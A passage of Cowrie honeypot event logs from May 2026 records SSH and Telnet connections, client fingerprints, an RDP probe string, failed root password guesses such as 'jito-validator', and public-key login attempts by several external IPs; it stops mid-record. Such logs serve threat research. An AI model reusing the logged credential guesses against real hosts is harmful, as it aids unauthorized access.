{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:01.154853Z","src_ip":"167.172.81.52","session":"5573bc207935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:01.158106Z","src_ip":"167.172.81.52","session":"5573bc207935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":57150,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfe92a73103a","protocol":"telnet","message":"New connection: 186.195.16.41:57150 (159.203.135.109:23) [session: dfe92a73103a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:02.417956Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":50980,"dst_ip":"159.203.135.109","dst_port":22,"session":"c423ee18ce24","protocol":"ssh","message":"New connection: 152.32.150.26:50980 (159.203.135.109:22) [session: c423ee18ce24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:10.469253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:10.474220Z","src_ip":"152.32.150.26","session":"c423ee18ce24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:10.922684Z","src_ip":"152.32.150.26","session":"c423ee18ce24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tps","message":"login attempt [root/tps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:10.954408Z","src_ip":"152.32.150.26","session":"c423ee18ce24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:11.968300Z","src_ip":"152.32.150.26","session":"c423ee18ce24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.41074824333191,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:19.579158Z","src_ip":"192.119.13.58","session":"27a229e6f8c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":56516,"dst_ip":"159.203.135.109","dst_port":22,"session":"684f3387b11d","protocol":"ssh","message":"New connection: 43.130.16.4:56516 (159.203.135.109:22) [session: 684f3387b11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:27.465031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:27.469561Z","src_ip":"43.130.16.4","session":"684f3387b11d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:27.537784Z","src_ip":"43.130.16.4","session":"684f3387b11d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jito-validator","message":"login attempt [root/jito-validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:27.844449Z","src_ip":"43.130.16.4","session":"684f3387b11d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.103","src_port":7284,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a9fd5052643","protocol":"ssh","message":"New connection: 89.37.117.103:7284 (10.17.0.5:22) [session: 4a9fd5052643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:28.028168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:28.032475Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:28.169765Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.95181751251221,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:28.369763Z","src_ip":"192.119.13.58","session":"0a2b3ad2c647","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:1c:3e:66:a6:19:a5:34:34:7a:f2:1d:5e:d1:10:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiN5tRYszVH5fwmOGlFieuW8etLj5lT3+tQltoQgwsVAwAD9bLenxiyW8X0lubls2DgHfiBAW8D8tpSfzYYh9ajP7uiaQjQb1rERCMipxIW4gAvuejP+6dd4OoZAZ3xvYwgvCPc3U6/eV2yCyyO87lg0MALSnM4cjtNf6bw97g7Kqe59ty1lzg2Gge+xs0N+YWrKXbWRyqCbMXWr2Ica2lXJa8Zyx0wjSbnJhQ0boZe49WteySKxw82A9bwX0mbyn3Q0AaTLMBcIh0n5xqLA2djF54jcSWn1qbxYa17RN23Hbu+DM9rpxyCdj5UBB1v/jatMq4WTJwUujhqD5gFKO+ZVk/sRtHTkx/Izy7FpEaPaJh8pqER9I0PM53PlPbLuySb9XErKYO0OhHxn0DShP+KnCHvIdfMN9uvvS04UqJo9NxcwJ+f/d+dV6pUH+cJ9Sprf62qNQ357Zh7kW3TfURZjnc63mHV+ZlkRYkIJKjSohV4EXMy7BgGb/nLbCfqzE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:1c:3e:66:a6:19:a5:34:34:7a:f2:1d:5e:d1:10:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:28.817624Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:1c:3e:66:a6:19:a5:34:34:7a:f2:1d:5e:d1:10:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiN5tRYszVH5fwmOGlFieuW8etLj5lT3+tQltoQgwsVAwAD9bLenxiyW8X0lubls2DgHfiBAW8D8tpSfzYYh9ajP7uiaQjQb1rERCMipxIW4gAvuejP+6dd4OoZAZ3xvYwgvCPc3U6/eV2yCyyO87lg0MALSnM4cjtNf6bw97g7Kqe59ty1lzg2Gge+xs0N+YWrKXbWRyqCbMXWr2Ica2lXJa8Zyx0wjSbnJhQ0boZe49WteySKxw82A9bwX0mbyn3Q0AaTLMBcIh0n5xqLA2djF54jcSWn1qbxYa17RN23Hbu+DM9rpxyCdj5UBB1v/jatMq4WTJwUujhqD5gFKO+ZVk/sRtHTkx/Izy7FpEaPaJh8pqER9I0PM53PlPbLuySb9XErKYO0OhHxn0DShP+KnCHvIdfMN9uvvS04UqJo9NxcwJ+f/d+dV6pUH+cJ9Sprf62qNQ357Zh7kW3TfURZjnc63mHV+ZlkRYkIJKjSohV4EXMy7BgGb/nLbCfqzE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:28.821669Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:28.914493Z","src_ip":"43.130.16.4","session":"684f3387b11d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:ec:33:7d:27:3e:84:d7:38:79:ed:0e:d7:f1:a3:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC93r1rkk2inMfUfTvXGX1chy5wA7kEAA9SuZTuZkOO7Xti03h0tHCmNSlalFUFRu+YaoA7PmWf72mRC1geAS20t9c/rQhFF4P6qOjQbprfj1yo5nPoGCU1WPsEMZ9ho91hLip7P0ZbQEwGwTuBa5cki8/YIwfDZFFIR1yoUkR3J9+jtdBGvEKoGelkxZ9iW+7gKbNqrTrRVaXQKMho+ozbx4iBYBVSLPgoOABo9aYX5f30TFYCFIaPcursv8/1Xd96RXTYUhCfrdaQVTHZNF0z+idvknzLjkuqPYvkSjiQ2726jf8KNLD7z12NYYQXix2rzv5ydUKVYymwRvvFnNIKVme9gDoHpqxvEHWCtEo5dmcoU4GtXReSjBlka6KmYPJOFt43fjFLa4CT2JX6+iLgNpFqf0Wuu/rmhoQU/0YJolRnrv3dR5GObtax+J3PNsWRlfK3PbYkojnH0B+IYnJsyQDjBVMlywOhfIZUAQhB2dbYnhYq7hkUKsHvcxr1dzFOQ6PSEgTW/+wN5cLih3rLLSA7MQv2+RjfzDpGsfHlRnX0cwPUybyOCEGn2WnmZUJz2djRW0XsYcWUAGSgQ6JEp3DeyYmuIs/orQaktaiHTs94ObJKt8/RNO5pAOZTVAqV6QYA2QeG6/5i/s5mKrdRBB6435/lNGgPvzR9P+038w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:ec:33:7d:27:3e:84:d7:38:79:ed:0e:d7:f1:a3:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:28.955833Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:ec:33:7d:27:3e:84:d7:38:79:ed:0e:d7:f1:a3:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC93r1rkk2inMfUfTvXGX1chy5wA7kEAA9SuZTuZkOO7Xti03h0tHCmNSlalFUFRu+YaoA7PmWf72mRC1geAS20t9c/rQhFF4P6qOjQbprfj1yo5nPoGCU1WPsEMZ9ho91hLip7P0ZbQEwGwTuBa5cki8/YIwfDZFFIR1yoUkR3J9+jtdBGvEKoGelkxZ9iW+7gKbNqrTrRVaXQKMho+ozbx4iBYBVSLPgoOABo9aYX5f30TFYCFIaPcursv8/1Xd96RXTYUhCfrdaQVTHZNF0z+idvknzLjkuqPYvkSjiQ2726jf8KNLD7z12NYYQXix2rzv5ydUKVYymwRvvFnNIKVme9gDoHpqxvEHWCtEo5dmcoU4GtXReSjBlka6KmYPJOFt43fjFLa4CT2JX6+iLgNpFqf0Wuu/rmhoQU/0YJolRnrv3dR5GObtax+J3PNsWRlfK3PbYkojnH0B+IYnJsyQDjBVMlywOhfIZUAQhB2dbYnhYq7hkUKsHvcxr1dzFOQ6PSEgTW/+wN5cLih3rLLSA7MQv2+RjfzDpGsfHlRnX0cwPUybyOCEGn2WnmZUJz2djRW0XsYcWUAGSgQ6JEp3DeyYmuIs/orQaktaiHTs94ObJKt8/RNO5pAOZTVAqV6QYA2QeG6/5i/s5mKrdRBB6435/lNGgPvzR9P+038w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:28.958707Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:26:b8:2b:81:94:34:ec:74:89:f2:3f:02:72:f7:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4iWCG/iBjISyTykJDdsZeY4m+cYa5OXkEPLmqEVzy5ynNGimsOY1sab+Xq7IKKbBe2qTDt4gnDaWX9njHqChKA6h46ye7Pzgfhx1tIlVGZM6qycg9v5Mw5Vy2Z/Bhk3vyDUvXcMAyjhzifLUBJZcovbTJEL+7W5fQ17uSnJXE582wogpgfcDA0KlECXzu8B6FUkCGKNEYGOeDpfgUC9fU2UpYxPSPWnT1lM39Tp8xvI/DkXexUNVmKWq+H0vHY6bFyuF3CTN+Mit4GEiDuFopbr+PGFBiAf/VfHoxYNn/NXF6tUk6lZ0A3z4m1Jp0KEkQc4CgvWRFBhIvNg31bSDFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:26:b8:2b:81:94:34:ec:74:89:f2:3f:02:72:f7:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:29.092588Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:26:b8:2b:81:94:34:ec:74:89:f2:3f:02:72:f7:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4iWCG/iBjISyTykJDdsZeY4m+cYa5OXkEPLmqEVzy5ynNGimsOY1sab+Xq7IKKbBe2qTDt4gnDaWX9njHqChKA6h46ye7Pzgfhx1tIlVGZM6qycg9v5Mw5Vy2Z/Bhk3vyDUvXcMAyjhzifLUBJZcovbTJEL+7W5fQ17uSnJXE582wogpgfcDA0KlECXzu8B6FUkCGKNEYGOeDpfgUC9fU2UpYxPSPWnT1lM39Tp8xvI/DkXexUNVmKWq+H0vHY6bFyuF3CTN+Mit4GEiDuFopbr+PGFBiAf/VfHoxYNn/NXF6tUk6lZ0A3z4m1Jp0KEkQc4CgvWRFBhIvNg31bSDFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:29.096607Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:6b:b4:66:e7:b9:f2:d3:f5:36:05:ed:6f:4c:5a:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHlLogDEg2spxkPKhHTX7NfSXj0nxE5UJWzCddaohGWC6kWNKTt/PWHeou2Z4CBirE2fw8y5MZRMn+IH6EBZdT2UAxuhMQIgiaNZfJYI9ZybXjLVJR+JFvkbX8FQJzY6KosB1dfZJKhGok0Tiq3o3eEIRdmZizfjzpM7ETJadq8U5vG9PRytikmRxSkAuyCvDD7KrsW0eEnpVFpgVguDgJBeZLql5iOWCWkg04aeGk/Av2y9VzthikURwQ40Ajw7nP0PADDfsUFGMUvlXWQLaqkIytHEQnQayVeWmLfHPWfA4Cauau7sAxKR4b+7h2cCq4rfw6zlku1aUW3m4HA24FXC6mcufOBkoFhfNNWq+xScHQJABd+DxzwulAt2XQiqxynXiOqpuWQoL7FAgxpHZgk4j+KnMDtL5pjSPo/e42+VstXsOfCyCZSWSA7i0aVH82ottTSmBpWfarfUpoCEe18or2ChwKlCwJMQJVbou4yA8s7XnK/AEFh/hFsWCR7iM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:6b:b4:66:e7:b9:f2:d3:f5:36:05:ed:6f:4c:5a:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:29.233879Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:6b:b4:66:e7:b9:f2:d3:f5:36:05:ed:6f:4c:5a:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHlLogDEg2spxkPKhHTX7NfSXj0nxE5UJWzCddaohGWC6kWNKTt/PWHeou2Z4CBirE2fw8y5MZRMn+IH6EBZdT2UAxuhMQIgiaNZfJYI9ZybXjLVJR+JFvkbX8FQJzY6KosB1dfZJKhGok0Tiq3o3eEIRdmZizfjzpM7ETJadq8U5vG9PRytikmRxSkAuyCvDD7KrsW0eEnpVFpgVguDgJBeZLql5iOWCWkg04aeGk/Av2y9VzthikURwQ40Ajw7nP0PADDfsUFGMUvlXWQLaqkIytHEQnQayVeWmLfHPWfA4Cauau7sAxKR4b+7h2cCq4rfw6zlku1aUW3m4HA24FXC6mcufOBkoFhfNNWq+xScHQJABd+DxzwulAt2XQiqxynXiOqpuWQoL7FAgxpHZgk4j+KnMDtL5pjSPo/e42+VstXsOfCyCZSWSA7i0aVH82ottTSmBpWfarfUpoCEe18or2ChwKlCwJMQJVbou4yA8s7XnK/AEFh/hFsWCR7iM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:29.237391Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:e7:d3:03:9a:94:ae:dc:98:6b:9a:c9:01:42:92:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo4Cm92K+NVvRNG469LeJS7VXPMpRNR8yUrjjVF9bXDXOYHgmxVajIT4oRZV7RrniI7mg4JE9UMylEPRy/jETpPa6mR8GZkyHgp91Eqk4EvxtbfL6K47UlDwUuK3TFMISi3Q/y/80stQy0t7gZHKUVgpZ+0coHqdNhMtqof7PIIRJ3y3w9x8vyO5+7lo1bszhHkCb858l/0jFWmzY5D03JMacRaiU6GTaE91EKGTPGO9WXmLvLidQgKgOgeTbIlMJzNyGMUAdtoaF9wOlIScW03GdxpLmgMqd7dSNYgWmWUql99iEVwhvw/rlpsHEML4zg5E+CXdTh840v/q4SH5rr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:e7:d3:03:9a:94:ae:dc:98:6b:9a:c9:01:42:92:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:29.371910Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:e7:d3:03:9a:94:ae:dc:98:6b:9a:c9:01:42:92:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo4Cm92K+NVvRNG469LeJS7VXPMpRNR8yUrjjVF9bXDXOYHgmxVajIT4oRZV7RrniI7mg4JE9UMylEPRy/jETpPa6mR8GZkyHgp91Eqk4EvxtbfL6K47UlDwUuK3TFMISi3Q/y/80stQy0t7gZHKUVgpZ+0coHqdNhMtqof7PIIRJ3y3w9x8vyO5+7lo1bszhHkCb858l/0jFWmzY5D03JMacRaiU6GTaE91EKGTPGO9WXmLvLidQgKgOgeTbIlMJzNyGMUAdtoaF9wOlIScW03GdxpLmgMqd7dSNYgWmWUql99iEVwhvw/rlpsHEML4zg5E+CXdTh840v/q4SH5rr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:29.375589Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:29.510315Z","src_ip":"89.37.117.103","session":"4a9fd5052643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.11868190765381,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:29.602336Z","src_ip":"192.119.13.58","session":"78bf434cc9f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.63.58","src_port":37852,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf339b110e54","protocol":"ssh","message":"New connection: 199.127.63.58:37852 (10.17.0.5:22) [session: cf339b110e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.214785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:35:30.219895Z","src_ip":"199.127.63.58","session":"cf339b110e54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-r